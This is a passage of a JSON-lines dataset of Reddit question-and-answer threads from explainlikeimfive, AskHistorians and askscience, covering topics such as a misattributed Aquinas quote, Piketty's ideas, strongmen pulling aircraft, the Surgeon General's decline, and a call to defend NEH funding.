{"q_id": "afie71", "title": "Thomas Aquinas is quoted \"Take away prostitutes from the world, and you will fill it with sodomy\"; was there such benign indifference towards prostitution among church leaders of the 13th century, or are his views exceptional? What about among civil authorities?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/afie71/thomas_aquinas_is_quoted_take_away_prostitutes/", "answers": {"a_id": ["edyx0yp"], "score": [27], "text": ["It should be pointed out that the quote is not actually by Aquinas. \n\nHere's a translation of the relevant text in *De Regimine Principum* (On the Government of Rulers):\n\n >  Thus, Augustine says that a whore acts in the world as the bilge in a ship or the sewer in a palace: \"Remove the sewer, and you will fill the palace with a stench.\" Similarly, concerning the bilge, he says: \"Take away whores from the world, and you will fill it with sodomy.\" [Book 4, Chapter 14]\n\nAs you can see, the passage is quoting (or more accurately, paraphrasing) Augustine. \n\nAnd though the book was often included in Aquinas's collected works, only perhaps Book 1 and the first four chapters of Book 2 are by Aquinas. The rest of the work was probably written by Ptolemy of Lucca. The latter parts even mention the crowning of Albert I of Habsburg, an event which did not occur until 1298, twenty-four years after Aquinas's death.\n\nAnd the quote we are talking about comes from Book 4, which is part of the work definitely not written by Aquinas.\n\nSource:\n\nBlythe, James M., trans. *On the Government of Rulers: De Regimine Principum, by Ptolemy of Lucca, with portions attributed to Thomas Aquinas.* The Middle Ages Series. Philadelphia: University of Pennsylvania Press, 1997.\n\n\n\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "2lo1yk", "title": "the ideas of thomas piketty", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2lo1yk/eli5_the_ideas_of_thomas_piketty/", "answers": {"a_id": ["clwkszb", "clwt4xy"], "score": [9, 2], "text": ["He argues that-\n\n\n-Income inequality is highly affected by a countries growth rate, savings rate, and capital to income ratio. the more money is saved(and a higher C-I ratio) the more money is gained from inheritance. the higher the growth rate the more money is gained from income from labor(and subsequently a lower C-I ratio). if capital is favored above income then the people who have the moneys will have money(think early 1900 France). if labor is favored above capital then the people with skills can move up easier(think early U.S,lots of cheap land, american dream).\n\n\n-People with wealth invest their wealth to get more wealth. Having more wealth allows you to get a better return on investment(hire better managers for investment, more investments). Past a certain point peoples wealth grows itself by virtue of its size. this wealth is inherited and accumulates.\n\n\n-A progressive tax on capitol is the most fair solution to the problem. A progressive tax of 1-2% on total wealth for the super rich would greatly reduce income inequality without hurting the rest of society unlike other options such as inflation.", "Piketty reasons that in order to create money it is better to have money. The reason for this is capitalism. Sociologically (within greater society) capitalism tends to reward power with wealth and the wealthy with power. \n\n\nIn general people do not necessarily perceive themselves as powerless. The majority of the electorate however is disenfranchised as Piketty argues; they do not have access to the same social network, education and resources as wealthy families. \n\n\nPeople without power therefore have the tendency to be poor. This creates social inequality. As wealth inequality grows, so does social inequality. Which leads to social unrest. Which is the prelude to revolution. \n\n\nPiketty talks shortly about how revolution is a burden on society as a whole and should be held back if possible. \nThomas Piketty takes relevant historical events from recent French history and applies this to modern day society. \n\n\nHe argues that government should intervene. Prevent a growing wage gap between people that are expected to coexist peacefully. \n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "c3f1ff", "title": "; why was quicksand such a common film trope when it's not a problem that people commonly run into in real life?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/c3f1ff/eli5_why_was_quicksand_such_a_common_film_trope/", "answers": {"a_id": ["erqlw44", "erqmf8i", "erqn0ks", "erqzqzv", "err3dej", "errbt0q", "errct0l", "errfpux"], "score": [7, 10, 132, 6, 8, 8, 5, 26], "text": ["Depends where you are, its common in areas with loose soil and a wet climate, think swamps, jungle beaches. Dosnt really happen often in places like the Sahara", "Why a trope becomes popular is impossible to answer with great authority.  However, Daniel Engber theorizes that the extreme popularity of quicksand in films in the 1960s was connected to the feelings of sinking despair and getting stuck by a misstep associated with the Cold War and Vietnam War.", "short answer: It worked in one movie, scared some kids, and was reused over and over again until it was more of a joke and not scary any more, so was dropped. \n\nLong answer: [RadioLab's got your covered](_URL_0_).", "Thoughts of being stuck in quicksand evokes fear.  Movies and media love to stir up visceral responses in people.  That's how media knows it's being effective.", "Cartoons would latch on to things that were easy to animate, easy to express, and gave a clear plot device. Same as leaning a chair against a door to prevent someone from opening it. That doesn\u2019t work, but it\u2019s easy to animate.", "For the same reason that people always slip on banana peels and you can\u2019t have any noises at all when you\u2019re cooking a souffl\u00e9.", "As a young child I always thought quicksand would be a bigger problem than it turned out to be.", "It is a literary \"ticking clock\". It is a plot device that creates suspense and a sense of urgency by setting a time limit. So not only do they have to be rescued but they are in a race against time as well. It is one thing to rescue someone who got trapped in a room, it is another to rescue someone who is trapped in a room that is slowly filling up with water!"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["https://www.wnycstudios.org/story/quicksand"], [], [], [], [], []]}
{"q_id": "cohoh0", "title": "why do some leaves have ridged edges and some have smooth", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/cohoh0/eli5_why_do_some_leaves_have_ridged_edges_and/", "answers": {"a_id": ["ewie14v"], "score": [4], "text": ["It's an evolutionary thing. A very long time ago all the trees used to be conifers (pine trees). And many millions of years ago deciduous trees started evolving. The trees weren't all in one spot though, so environmental factors affected them differently. Things like temperature, rainfall, and grazing animals caused them to develop traits that made their survival easier.\n\nA ridged leaf would mean that water that fell on it wouldn't pool up as much on the leaf. Perhaps at some point that helped a tree keep its leaves and branches more easily while a branch is still tender. Perhaps the climate was dry and every inch of leaf was valuable so a big smooth leaf was preferable for survival. Depending on those kinds of things the answer changes.\n\nHopefully that answers your question."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "bt94nw", "title": "What does Timothy Snyder mean by \"nation state\"?", "selftext": "I've often heard Timothy Snyder make the claim that the nation-state has not really existed in Europe. (Example: [_URL_0_](_URL_0_)). How do you think he defines \"nation state\" in this case?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/bt94nw/what_does_timothy_snyder_mean_by_nation_state/", "answers": {"a_id": ["eow3rwf"], "score": [4], "text": ["It seems to me that he's drawing a distinction between nation states and empires- and thus not classing most western European states as nation states, because they had imperial identities instead, which then were replaced with a European identity. By contrast, he says states like Serbia were nation states."]}, "title_urls": [], "selftext_urls": ["https://www.politico.eu/article/europe-creation-project-myth-history-nation-state/"], "answers_urls": [[]]}
{"q_id": "6riv63", "title": "how do strong men pull trains, planes etc with just their teeth?", "selftext": "Is it all just trickery or can physics explain how a 100 kg dude can start moving a 50 ton Airbus? Wouldn't he have no hope whatsoever considering the massive discrepancy in weight?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6riv63/eli5_how_do_strong_men_pull_trains_planes_etc/", "answers": {"a_id": ["dl5e59s", "dl5fg1i", "dl5nv64"], "score": [2, 19, 5], "text": ["Whilst the Airbus weight 50 ton, it doesn't necessarily require the equivalent of 50 tons of force to move it across the ground. The ground is what's supporting the 50 ton weight, the amount of force required to make it move across a surface depends on the friction, less friction means less force is needed to make it move (think about how much easier it would be push a heavy box along an ice rink as opposed to carpet). In this case it's not exactly friction, but wheels which are effectively achieving the same result, the less friction in the wheels, the easier it is to push.\n\nI'm sure it still requires an impressive amount of strength to move these things, but the force required is drastically lowered by the oiled up wheels.", "Moving an object horizontally has little to do with it's weight, if we disregard friction, any little force will start accelerating any big weight and over time it will be moving at a noticeable speed. \n\nThat's just physics, F=m x a, Force equals mass times acceleration, or a = F / m, acceleration equals force over mass.\n\nA 100kg dude can easily provide 1000 N of force, because that's about the force gravity pulls him, he has the power to stand up, right? 1000N/50.000kg = 1/50 = 0.02 m/s^2 of acceleration.\n\nAfter 50 seconds of pulling that Airbus would be moving at 1 m/s, that's a decent speed, but at the beginning it's going to look pretty pathetic.\n\n*Wait a minute, disregarding friction!?*\n\nThese things they are pulling will always be on wheels, because wheels give very little friction, in particular iron wheels on iron rails! Friction is just a force in the opposite direction, trying to hold things in place, so you need to subtract the friction force from the force our guy is applying, so as long as the friction force is less that 1000N our guy will still be able to set the Train or Airbus in motion, it will just accelerate a little slower than without friction.\n\nIf you've been on a decent sized boat you may have noticed that despite the boat being incredibly heavy, since it's floating in the water, you can actually affect it's movement - if you push with your own force between two boats, they will part, very slowly (provided the water is calm and isn't providing more force than yourself). The strongmen could do this trick pulling a boat too, but it doesn't seem as impressive because people would just think it's moving because of some stream, and think it's fake, although it isn't!\n\n >  just their teeth?\n\nTeeth are actually quite strong, and the force is distributed over all of them, if you bite onto something that is specially constructed for just that, and be lifted up from the ground. Then your teeth is holding the force of your own body weight, just as in my example. Try with a finger to put a lot of pressure on a single tooth, it'll hold no problem. Your 10 fingers can hold you up with their force, so 10 teeth should hold your weight too!\n", "He's not *lifting* it. He's just *pushing* it. All of the plane's *weight* is supported by the ground, and really doesn't figure into the analysis nearly as much as you'd think.\n\nNo, all the guy has to do is overcome the friction keeping the plane in place. If it's on wheels, the force of friction is going to be surprisingly low.\n\nGranted, given the mass involved, it still requires a lot of force to get the object up to any kind of real *velocity*. But getting it to move at *all* just requires enough force to overcome whatever friction is present in the wheels. \n\nStill, weight is a factor in calculating friction, and the weight in this equation is *big*. The other main factor is what's called the \"coefficient of friction,\" which is some fixed amount of force determined by the physical properties of the surfaces involved. The TL;DR on *that* is that the dude had better hope that those wheels are *really* greased up (reducing the coefficient of friction in the wheels to almost nothing), or he's going nowhere. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "aww6aq", "title": "Is there a relation between the speed of the surface of a spinning sphere and the speed at which the center spins and the distance between the two?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/aww6aq/is_there_a_relation_between_the_speed_of_the/", "answers": {"a_id": ["ehpo3ze"], "score": [14], "text": ["Yeah, the centre spins at zero times the speed the surface spins at.\n\nTwo points on the surface in general don't spin at the same speed btw.\n\nGenerally v = r omega where omega is the angular velocity and r is the distance from the axis of rotation (which runs through the centre). For the centre that's zero. r isn't the distance from the centre but from the axis. If R is the distance from the centre you get v = R omega cos(latitude). "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "2d8f9j", "title": "why is it that i can go all day (8+ hours) without my skin getting oily but if i fall asleep, even just an hour nap, it is almost instantly grease city?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2d8f9j/eli5_why_is_it_that_i_can_go_all_day_8_hours/", "answers": {"a_id": ["cjn28an"], "score": [12], "text": ["Probably because rubbing your face against the pillow is going to get it hot and sweaty, and there will be a build up of dirt on your pillow from previous nights. If you have wax in your hair, you may be rubbing that into your skin too when you lie down."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "4mc64z", "title": "why do some people perform better when under pressure or angry, and others perform worse?", "selftext": "Playing basketball many years ago, I noticed that a friend of mine would play much better when angered. I could see it turn on like a switch. However, when I began to rage, I would play much worse than usual (and that was pretty bad).\n\nI'm not much of a competitor for this reason. These days, it still proves true in video games. When the rage comes, my skills pack up and leave, or at least it doesn't help (as it seems to with some).\n\nIs it all (mis)perception, or do people react differently to stress and why?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4mc64z/eli5_why_do_some_people_perform_better_when_under/", "answers": {"a_id": ["d3ubrut", "d3ucmiy", "d3ui1yb", "d3ul79w", "d3upeon", "d3uw9pu", "d3uypwu"], "score": [167, 7, 11, 4, 2, 2, 2], "text": ["It's called the  [Yerks-Dodson Law](_URL_0_)\n\nAs arousal (stress) increases, performance increases...up to a point. Like any Gaussian distribution, some people will perform better and some will perform worse in certain situations. ", "Can confirm. For example if I have argued with the wife, I find that I can channel my anger and frustration into useful productivity at work. It's weird. ", "This works for stuff that's simple or you're good at and increases focus. It's a primal thing.\n\nThe downside is it literally shuts down some of the higher brain functions like logic and long term thinking. It makes sense, if you're in 1000 bc and clan is being attacked by rivals, your mind needs to focus on eliminating the threat, you're not going to think about what you clan will drink for water next week, you gotta defend your family NOW. Your body gets flooded with adrenaline and hormones that raise your pain threshold and thus let you work harder for longer.\n\nIt's why highschool football coaches will say stuff like \"get angry!\" It's cuz they know the players will get better at certain things. Anger causes the mind to focus. The downside though is you're more likely to make stupid mistakes like going offsides or doing a late hit, you see this with nfl players ALL the time. Grown men who've done this game since they were kids who still make stupid mistakes, it's cuz anger clouds judgement...\n\nOn the high levels though you see professional coaches train their players to NOT get angry, especially for skill positions. The New England patriots are widely known for this. They have their players not get angry cuz they know that leads to mistakes, they'd rather have a team of level headed players. \n", "For me, it depends on how confident I am. If I know what I'm doing, stress will motivate me to do it, but if I'm out of my element I panic and scramble and try to improvise. Anger is basically a surge of energy that you have to direct into something useful.", "Different emotions have different reactions in people, pressure can create fear which drives action due to the possible pain that is associated with the failure.", "Yes, fight or flight (adrenaline and cortisol dump into the blood stream) effects everyone differently and while some people can channel this energy into focus and productivity, it makes others \"spaz\" out and unable to control their nerves. ", "People react differently to stress.  People behave differently when angered.  The physiological differences have already been mentioned.\n\nI'd like to add that behavior can be changed in the individual through training or life experience.  I used to really get excited when other people were yelling, either at me or no one in particular.  Five years of martial arts training later, you can yell all you want but if your body motion doesn't express a certain intent, I'm not responding.\n\nI used to take the Chicken Littles of the world seriously.  I worked in a hospital for a few years, some of that in the ER.  If you are yelling 'wolf' or 'the sky is falling', if no one is bleeding, you'll just have to explain yourself with more clarity.\n\nIn last night's NBA finals game between Oakland and Cleveland, in the third quarter Oakland kind of went to sleep.  When asked about it, Coach Kerr said they were playing like it was November.  When asked what the solution to this was, he replied, \"Reminding them that it's June.\"\n\nAfter Rafa Nadal had been the number one player in the world of Tennis for a few years, he started losing the first set to much lower ranked players.  Then he'd come back with a vengeance and win the match in very little time.  My wife commented that he wasn't awake during the first set.\n\nFor your situation, consider that you shut down when you get angry because you might fear what will happen if you allow your anger to take hold of you.  Your friend may have no such fear, which means he gets to actually practice while being angry and has learned how to harness the energy."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.wikipedia.org/wiki/Yerkes%E2%80%93Dodson_law"], [], [], [], [], [], []]}
{"q_id": "4pb1zd", "title": "How come the Surgeon General was such a common spokesperson in the late 20th century, but we never hear from them anymore?", "selftext": "I remember the scandals with masturbation and cigarettes, but other than that, I remember the Surgeon General being a very common site in interviews and PSAs as a general spokesperson about health matters in the US.\n\nOur current Surgeon General is Vice Admiral Vivek H. Murthy, who has an excellent set of credentials, but no one knows who he is. If I remember correctly, the last Surgeon General in the public eye was during the Clinton administration.\n\nWhat happened to this role?\n\nEDIT: secondary question - was there any official word or some statement made by an administration or was the role just pushed out of the limelight?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/4pb1zd/how_come_the_surgeon_general_was_such_a_common/", "answers": {"a_id": ["d4jm0ub", "d4kbn6o"], "score": [358, 6], "text": ["Not my subject area but it would seem that the Surgeon General, although a respected position, has an ill-defined role, no budget and has been subject to increasing political constraint. Former Surgeon General, Richard Carmona (2002-2006), who resigned his position, was prevented from speaking out on topics like stem cell research, emergency contraceptives, the health of prisoners, mental health, secondhand smoking, and global health issues; he was also directed to include a reference to President Bush 3 times on every page of any speech that he gave and these speeches were vetted by the Department of Health and Human Services. He was prevented from travelling to conferences and also the Special Olympics (because of their association with the Kennedy family) David Stacher, Surgeon General under the Clinton Administration, also suffered interference when reporting on sexuality and public health - partly the result of the Monica Lewinsky scandal.  Likewise, under the Reagan Administration Everett Koop faced attempts to derail his AIDS campaign. Also, as you refer to, Joycelyn Elders, appointed in 1993, was fired by Clinton in 1994 due to the expression of controversial views on drug legalisation, masturbation, and abortion. Most of the above emerged during a 2007 hearing of the Congressional Committee on Oversight and Government Reform at which six former Surgeon Generals spoke; they all reported political interference but Carmona faced the clearest and most explicit directives curtailing his pronouncements. \n\nThe position itself emerged out of that of the Supervising Surgeon of the Marine Hospital System which was created in the early 1870s as a central authority to reform an existing and run-down system of 30-40 federal hospitals for sailors. The US Marine Hospital Service evolved into the US Public Health Service and the position of the Surgeon General, the director of this service, grew in importance with the increase of the Federal Health Bureaucracy during the 20th century. By the 1960s, the Surgeon General, appointed from within the Public Health Service, was responsible for a variety of federal health programmes including the National Institute of Health, the Food and Drug Administration, and the Indian Health Service. In 1964, the profile of the position was notably raised when Luther Terry released the first tobacco report in 1964. \n\nIn 1967, most of these Public Health Service roles were taken away from the Surgeon General and the position became largely ceremonial. When difficulties or controversies arose out of this role, some administrations elected to vacate or leave the post unfilled; under Nixon, there was no Surgeon General from 1972-76. \n\nEverett Koop is commonly credited with creating a new role for the surgeon general as an advocate for public health during the AIDs crisis. Possibly the last serious attempt to resume that role was during the Joycelyn Elders tenure (forced to resign for discussing at a UN conference the potential value of encouraging masturbation to prevent AIDS). The Office does retain the role of promoting public health policy, but it appears to be heavily political constrained in the present.\n\nMike Stobbe, a journalist, has a book about the decline of the office, *Surgeon General's Warning\nHow Politics Crippled the Nation\u2019s Doctor*, and you can listen to an interview with him [here](_URL_0_).\n", "Sorry I'm a youngster. But what is this masterbation  scandal that you speak of? "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://med.stanford.edu/news/all-news/one-to-one/2014/mike-stobbe-on-the-decline-of-the-surgeon-general.html"], []]}
{"q_id": "8qej7p", "title": "Could non white singers play \"whites only\" bars in the 1960s?", "selftext": "I got an idea for a book, the main character is a  Latino singer. Could he sing at a bar that was whites only in the 60s? ", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/8qej7p/could_non_white_singers_play_whites_only_bars_in/", "answers": {"a_id": ["e0jej96"], "score": [4], "text": ["Sure. That Whites Only bar in the 1960's would have quite likely had black waiters, black cooks and bartenders. It would just not have served blacks as customers. Clarinetist and bandleader Artie Shaw  was touring with Billie Holiday in the 1930's. [Shaw and the white members of the band could mix with the guests and customers of the Lincoln Hotel](_URL_1_) , in New York, but they were told that Holiday would have to use the staff entrance, freight elevator,and couldn't mix with the patrons.  But the '60's was of course the time when that was changing. In 1962 Leonard Bernstein, conductor of the NY Philharmonic, tried to take one of the[ black members of the orchestra into the Miller Brothers restaurant in Baltimore  and was told he couldn't. But by then he could throw a fit.](_URL_0_)\n\nThis was the obvious nonsense of the \" separate  but equal\"  Plessy vs Ferguson ruling by the Supreme Court that helped to codify segregation in 1899.  Blacks worked around whites, sometimes in close proximity ( Thurgood Marshall would later observe that many white Southern children were raised being fed by black cooks).  They just could not socialize, live in the same space, do something that would have implied equality."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://restaurant-ingthroughhistory.com/2009/01/20/a-black-man-walked-into-a-restaurant-and/", "http://www.pophistorydig.com/topics/tag/billie-holiday-artie-shaw/"]]}
{"q_id": "60gpc3", "title": "UPDATE: The Trump Administration and the National Endowment for the Humanities", "selftext": "Hi, folks:\n\nYou might have missed it in the flood of political news lately, but [President Trump's budget proposal](_URL_2_) proposes to defund the National Endowment for the Humanities (NEH) and the National Endowment for the Arts (NEA), and eliminate the Corporation for Public Broadcasting (which helps fund PBS and NPR stations).\n\nYou may recall that we [ran a previous thread](_URL_9_) on this topic when the proposal was just a rumor, but now that it's an official proposal we decided to update this and ask you to take action. \n\nThe mission of /r/Askhistorians is to provide high-quality historical answers to a wide audience. We usually work online, through [our Twitter account](_URL_1_), [our Tumblr account](_URL_11_), and here, but that's not all we do. [We talk to historians and bring them here for AMAs](_URL_8_). We have (with your help) [presented at historical conferences](_URL_0_). We also advocate: for good history, for civil discussion, and for keeping historical research going.\n\nThat's what we're doing today, and we need your help. \n\nWe don't get political for a particular candidate, a particular party, or a particular point of view. We get political when good history matters. **If you're American, we're asking you to call your Congressmen and Congresswomen to support funding for the NEA and NEH.**\n\nThe federal budget process isn't fast, and it isn't straightforward, but it *is* changeable. Each February, when the president submits his or her budget to Congress, there's a better chance of a cow getting through a slaughterhouse untouched than that budget staying in the same form. That's why your calls matter: Congress catches a lot of flak, but it does do work, particularly in the details of the budget.\n\nAnd we say *call*, not email, because calls matter. It's easy to ignore an email; you probably do it a few times on any given day. It's a lot harder to ignore a phone call. [Call your Senators and Congresswoman](_URL_10_). You won't talk to them directly; you'll talk to a staffer or an intern answering phones. They've been getting a lot of calls lately. Chances are, they'll have a local office as well as their DC office. If you can't get through to one, try the other.\n\nDon't call other Congressmen than your own. It's a waste of time. Don't follow a script; those tend to get ignored. Just say who you are, where you're calling from (city/zip code, if you don't want to give your address), and what you're calling about.\n\nRepetition helps. Put the numbers in your cellphone and give 'em a call when you're headed to work or have a spare minute or two. It doesn't take a lot of time, but it can make a world of good.\n\nWhy are you calling?\n\nThe National Endowment for the Humanities funds a lot of good things. If you've seen Ken Burns' documentary *The Civil War,* you've seen some of its work. If you've read *Freedom from Fear: The American People in Depression and War, 1929-45*, you've seen some of its work. If you've visited your local museum, chances are that it too received some NEH funding.\n\nThere's something else important: **NEH funding indirectly supports what you're reading right now.**\n\nMany of our moderators, flaired commentators and even ordinary users have jobs that are funded in part or wholly by NEH grants. They have the spare time to offer their knowledge and skills here because of those grants. A lot of the links we provide in our answers exist because of the NEH. [The *Discovering America* digital newspaper archive is supported by the NEH.](_URL_3_)\n\nThe NEH does all of that with just $143 million per year in federal funding. That's just 0.003 percent of the federal budget. If you make $40,000 a year and spent that much of your income, you'd be spending $1.20.\n\nFor all the NEH does, that's a good deal. \n\n------- \n\nThe previous post had three comments in reply that I'd like to highlight here: \n\n* u/restricteddata on the [history of the NEH](_URL_6_)\n\n* u/khosikulu on the [types of grants](_URL_4_) offered by the NEH\n\n* u/the_alaskan on how the NEH [benefits many people who aren't historians](_URL_7_)\n\n------- \n\nEdited to add this, from u/caffarelli: \n\n >  If you're making a call for NEA/NEH, please also take a moment to mention [Institute of Museum and Library Services](_URL_5_) which is also on the block, and to be crude, odds are better you'll personally be impacted by it's loss more quickly than any of the other federal humanities funding. IMLS funding is of particular importance to rural libraries and Native American museums and libraries, and can sometimes be the bulk of funding at those libraries. But if you're a patron of smaller public library, your library probably only got the Internet because of an IMLS grant, because that was their largest grant impact during the 90s-00s. It's a quiet, effective and responsible distributor of tiny amounts of federal money, that have nevertheless had an out-sized impact on the quality of public library services available in America. ", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/60gpc3/update_the_trump_administration_and_the_national/", "answers": {"a_id": ["df6844j", "df68dn8", "df6a4kx", "df6arao", "df6c8xx", "df6fzs5", "df6gbz7", "df6hbq7", "df6i9wt", "df6inli", "df6iv26", "df6jpdf", "df6kdta", "df6kqnr", "df6kuws", "df6l8kr", "df6lfld", "df6m9ri", "df6mq7j", "df6mru8", "df6n7zk", "df6npe7", "df6oz0g", "df6pq5q", "df6pxmo", "df6rats", "df6rriv", "df6sonw", "df6suet", "df6u5fc", "df6ugek", "df6v0lj", "df6xr2h", "df6y142", "df6z4ks", "df6zi1l", "df6zr1t", "df6zw2s", "df70w5r", "df741t7", "df74cek", "df75qji", "df77mli", "df79492", "df7hjq8", "df7i58r", "df7jw4t", "df7llzs", "df7mehd"], "score": [139, 1464, 73, 52, 2267, 414, 334, 78, 41, 41, 19, 9, 14, 13, 128, 20, 36, 7, 44, 10, 6, 6, 10, 13, 20, 7, 7, 11, 14, 65, 15, 7, 5, 7, 10, 35, 10, 48, 17, 8, 5, 3, 2, 4, 8, 2, 3, 2, 5], "text": ["Could you link us to where we can contact our representatives? At least a general contact page would be good. ", "If you're making a call for NEA/NEH, please also take a moment to mention [Institute of Museum and Library Services](_URL_0_) which is also on the block, and to be crude, odds are better you'll personally be impacted by it's loss more quickly than any of the other federal humanities funding. IMLS funding is of particular importance to rural libraries and Native American museums and libraries, and can sometimes be the bulk of funding at those libraries. But if you're a patron of smaller public library, your library probably only got the Internet because of an IMLS grant, because that was their largest grant impact during the 90s-00s. It's a quiet, effective and responsible distributor of tiny amounts of federal money, that have nevertheless had an out-sized impact on the quality of public library services available in America. ", "This is such a brilliant response, but I expected nothing less from you guys. ", "_URL_0_\n\nThis is a website that will show you who to contact and provides a script for what to say.  Makes it super easy!", "It's worth restating just how small the combined budgets for the NEA and NEH are. \n\nArithmetic was never my strong suit, but I thought it'd be useful to quantify it against Trump's proposed border wall. How much of the wall will cutting these programs pay for?\n\n**Projected cost of border wall (midrange estimate):**\n$15 Billion\n\n**Approximate length of border:**\n2 thousand miles\n\n**Approximate cost per mile of border:**\n$7.5 Million\n\n**Approximate NEA and NEH budgets combined:**\n$300 Million\n\n**Length of wall built with NEA and NEH funds:**\n40 miles: 2% of the overall border\n\nEliminating these programs isn't about wasteful government spending, it's an attack on our shared culture, intellectual curiosity and freedom of expression.", "For a very long time I would read posts and statements and calls to action like this and never have it truly cross the threshold of action in me. These past few months have changed that.\n\nI'd encourage you, if you haven't made the calls to your senators and representatives, to do so. It wasn't easy the first time I did it. I took half an hour to walk out of my workplace, find a park bench, think about what I wanted to say, call, and say it. Then call again and say it again to my other senator.\n\nLearn to flex this muscle. I make the call about once a week on whatever thing I feel passionately about. Then I reward myself by wearing a patriotic little pin that means something to me for the rest of the day.\n\nIf you really don't want to talk to a human being, you can call outside of business hours and leave a voice mail. It doesn't have to be long, and the line is specifically for people to express their opinions. So do it!\n\n202-224-3121, follow the prompts to be directed to your elected officials.", "Hi, I'm in the UK (not American) so I can't do much to help, but I just wanted to let you all know that we're watching and supporting from over here. Good luck.", "A correction: The Trump budget doesn't cut PBS, but rather it cuts the Corporation for Public Broadcasting.   \n\nThe latest numbers I could easily find (2011) indicated that CPB's contribution to PBS and PBS stations (which are largely independent public TV stations that carry PBS programming, local programming, other public TV sources such as BBC, etc.) were $71 million and $210 million (distributed somehow over the 1400 or so public TV stations across the US).  During 2010, their revenue was around $570M, so assuming 2010 and 2011 are directly comparable, CPB was paying for about 12% of PBS's budget.  \n\nAnother big chunk of PBS's revenues would of course be fees from all the local stations so they can run PBS content.  \n\nW/r/t NPR: NRP gets a very small portion of its annual revenue from CPB and it's not direct funding but grants, [per this page.](_URL_0_)\n\n >  On average, less than 1% of NPR's annual operating budget comes in the form of grants from CPB and federal agencies and departments.\n\nLike PBS, NPR gets fees from public radio stations who run their content, and that's a majority of their funding, so any cuts to the stations themselves (which are largely locally funded) would have secondary effect on the NPR organization itself, likely one large than the 1% in grants from CPB.", "CANADA SUPPORTS YOU!!!\n\n", "It only took like a minute to voice my concerns to the staffer on the line, but man it feels so good to do that.", "Just placed a couple calls. If nothing else, TIL how messed up [Maryland's Congressional districts are.](_URL_0_)", "So if this passes, you guys will all be out of a job and get to spend even more time sharing awesome knowledge on Reddit?!\n\nAll kidding aside it's sad to see such brutal and sweeping cuts without seemingly any public engagement or debate. Who do they think they work for?", "For those interested in advocacy work, I would point you in the direction of the [National Coalition for History](_URL_1_), which already has lobbying underway for this and other history-related initiatives (although I would expect the FY18 budget fight to take precedence). They also have information on asking your congressional representatives to join the Congressional History Caucus, and if you work for a history org you can ask your organization to become a member of the coalition or to endorse their values statement. \n\nTheir website also contains some really valuable information about what our next steps should be and a more detailed analysis of what's at stake: _URL_0_ \n\nNote especially that this proposed budget does not reveal the full scope of the Trump White House's plans for other federal history programs and institutions like the Smithsonian, the National Archives and Records Administration, the Library of Congress, and the National Park Service. It's good to find a source like the NCH or the National Humanities Alliance to plug into for updates on some less-publicized proposed cuts that may be ahead. \n\n", "Can I request someone make this information available in a way that is easily shareable on social media? I know that might be a lot to ask, maybe just some of the vital components could be in their own images so we can saturate social media. It's very important information, and social media is one of the big battlegrounds for information. \n\nMy apologies if this kind of request isn't allowed. ", "I thought it might be useful to help illustrate just what kinds of projects NEH grants go to fund. All grants are searchable on their [wbesite here](_URL_7_), but I did some searches to find a few examples, with a focus on smaller, rural areas:\n\n[The L.C. Bates Museum](_URL_0_) in [Fairfield, ME, population 6,735](_URL_4_)\n\n > The museum includes amazing natural history exhibits, fun local history, Native American collections, rocks and minerals, fossils, outside nature trails, picnic tables, and an arboretum behind the museum.  The museum even has themed art exhibits from artists of New England each summer through fall. \n\n[They recieved a $5,990 grant to help with their preservation goals](_URL_6_):\n\n > The project is designed to turn an unused room on the museum's second floor into appropriate storage space for humanities objects, purchase shelving and storage supplies, train staff in storage methods, store the project collections, and present a public workshop on Storage Management in a Small Museum.\n\n----------------\n\n[Appalshop, Inc.](_URL_3_) in [Whitesburg, Kentucky, population 2,139](_URL_12_):\n\n > Since 1969, Appalshop has been enacting cultural organizing and place-based media, arts and education to document the life, celebrate the culture, and voice the concerns of people living in Appalachia and rural America.\n\nThey got a [$12,000 grant](_URL_7_?f=1 & gn=PY-253110-17) for a cultural history project titled \"The Hills Remember: Preserving Heritage in an Appalachian Coal Community\":\n\n > Building on a sense of place that is deeper than its Appalachian coal seams while confronting the limits of a fossil fuel based economy, Letcher County, Kentucky, is in a moment of transition. The proposed project will build upon local efforts to increase sense of agency and appreciation for the community's heritage and assets. It will result in the digitization of vernacular photographic materials, artwork and  3-Dimensional objects, historical paper records and audiovisual materials provided by members of the public and gathered as a result of community engagement, public programming, and digitization events. By catalyzing the area's cultural assets, the project will increase local capacity through activities that safeguard and celebrate both the archival materials collected and the wellspring of community expression and traditions.\n\n-------------\n\nThe [Town of Rockingham, Vermont, population 5,282](_URL_1_) recieved a $[6,000 grant](_URL_7_?f=1 & gn=PG-52475-15) for the [Public Library](_URL_5_)'s \"Cataloged Photograph Collection Glass Plate Negative Rehousing Project\":\n\n > The Rockingham Free Public Library seeks to rehouse and properly store components of its extensive and popular Cataloged Photograph Collection. This collection contains photographic material from the 